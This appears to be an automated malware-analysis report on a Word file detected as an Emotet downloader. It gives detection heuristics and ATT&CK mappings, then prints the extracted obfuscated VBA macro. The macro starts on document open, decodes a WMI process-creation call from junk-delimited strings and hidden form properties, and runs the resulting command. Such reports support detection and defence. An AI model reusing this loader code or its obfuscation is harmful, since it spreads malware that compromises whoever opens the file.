MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate/Decode Files or Information
The file contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of Emotet. The ClamAV detection explicitly names this sample as 'Doc.Dropper.EmotetIOS-9402070-0'. The VBA script attempts to deobfuscate and execute a payload, likely downloaded from a remote source.
Heuristics 7
-
ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9971 bytes |
SHA-256: 53eaa4e28eafdc2c8183ce36dc823da9f9037a3d59aacf0e018847d87895f2fb |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "weasjeudleabmiav"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
cuuthvodceeh
End Sub
Attribute VB_Name = "keomboosgiechxioqu"
Attribute VB_Base = "0{8EB4EF03-E5CE-44A6-B6EE-C50553179A52}{23FA1DA9-EE98-4ECC-A6B5-0ACF776E6E39}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "violkougjioj"
Function cuuthvodceeh()
zeucchequjeir = Chr(keomboosgiechxioqu.Zoom + Int(15))
Dim SQiN0ÀkZ4â As Double
thoozxeegroivvaig = "3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23wi3264gyjvgjh^&Fv2b3dsdfffw23nm3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23gmt3264gyjvgjh^&Fv2b3dsdfffw23" + zeucchequjeir + ":w3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23in3264gyjvgjh^&Fv2b3dsdfffw23323264gyjvgjh^&Fv2b3dsdfffw23_3264gyjvgjh^&Fv2b3dsdfffw23" + keomboosgiechxioqu.vossuafcoox + "r3264gyjvgjh^&Fv2b3dsdfffw23oc3264gyjvgjh^&Fv2b3dsdfffw23es3264gyjvgjh^&Fv2b3dsdfffw23s3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23"
tiehriecquouth = baewbeacyauth(thoozxeegroivvaig)
Dim hZvXd4âE As String
hZvXd4âE = Replace$("YjogUE", "Yjo", "MQtf7Ò")
Set xiolwezceaquyez = CreateObject(tiehriecquouth)
Dim y4Út As Integer
y4Út = 9
Do While y4Út < 9 + 9
y4Út = y4Út + 9: DoEvents
Loop
goastumhaon = keomboosgiechxioqu.toofwiethyaz.ControlTipText
Dim oAF As Integer
oAF = 3
Do While oAF < 3 + 9
oAF = oAF + 9: DoEvents
Loop
wecgecxaopwoew = tiehriecquouth + zeucchequjeir + keomboosgiechxioqu.coonbaec.ControlTipText + goastumhaon
Dim hcgKyIb4ÛjC As Integer
hcgKyIb4ÛjC = 5
Do While hcgKyIb4ÛjC < 5 + 5
hcgKyIb4ÛjC = hcgKyIb4ÛjC + 7: DoEvents
Loop
viegvakgoeytaith = wecgecxaopwoew + keomboosgiechxioqu.vossuafcoox
Dim kbbShoFNe As String
kbbShoFNe = Replace$("ev5ÒPMnmcnAU", "ev5ÒPMnmc", "G2ÙPMeK2ËOD")
Set zoabseexthich = maemhuj(viegvakgoeytaith)
Dim Vdu As Object
xc = Array(dew, eed, qed, xiolwezceaquyez. _
Create(xeernoewyeocnuac, coepkaufchoug, zoabseexthich), woj, www)
Dim RTyScy As Currency
End Function
Function maemhuj(harcheabfael)
Set maemhuj = CreateObject(harcheabfael)
Dim AQYENtSBaX As String
AQYENtSBaX = Replace$("gjNsI0ÝbqcyTC", "gjNsI0Ýbq", "jFORyh")
maemhuj _
. _
showwindow = (puuyneequman + theebfoohhiw) + (heunduuthheejgeey + gaibzaon)
Dim rwsuXtFX As Integer
rwsuXtFX = 1
Do While rwsuXtFX < 1 + 1
rwsuXtFX = rwsuXtFX + 7: DoEvents
Loop
End Function
Function baewbeacyauth(leabjoexdeaf)
xeuthxail = leabjoexdeaf
Dim kcAag4Hn As String
kcAag4Hn = Replace$("mrkX0ÅyuviuOJL", "mrkX0Åyu", "oLsDGg")
quoexcheixgeer = Split(xeuthxail, "3264gyjvgjh^&Fv2b3dsdfffw23")
Dim wBf As Integer
wBf = 7
Do While wBf < 7 + 4
wBf = wBf + 8: DoEvents
Loop
bimquoibrup = cvf + Join(quoexcheixgeer, cvf)
Dim JQ5âYJ1ÇiRqo As String
JQ5âYJ1ÇiRqo = Replace$("vAdPbypeHeM6Ô6Ðpe", "vAdPbypeH", "i2ÍLagvF")
baewbeacyauth = bimquoibrup
Dim w3ÉJ As Long
End Function
Function xeernoewyeocnuac()
io = keomboosgiechxioqu.liecnuub.Pages(1).ControlTipText
Dim qAgF As String
qAgF = Replace$("aC48ßAlw3ÁSqNYdW", "aC48ßAlw3ÁS", "cZB")
xeernoewyeocnuac = baewbeacyauth(io)
Dim ppu As Date
End Function
' Processing file: /opt/analyzer/scan_staging/386e4b12f4a1470ca6ceadf17a0c1bfc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/weasjeudleabmiav - 1365 bytes
' Line #0:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Sub weasjeudleabmiav())
' Line #1:
' ArgsCall Document_open 0x0000
' Line #2:
' EndSub
' Line #3:
' Macros/VBA/keomboosgiechxioqu - 1200 bytes
' Macros/VBA/violkougjioj - 5506 bytes
' Line #0:
' FuncDefn (Function Document_open())
' Line #1:
' Ld keomboosgiechxioqu
' MemLd Chr
' LitDI2 0x000F
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.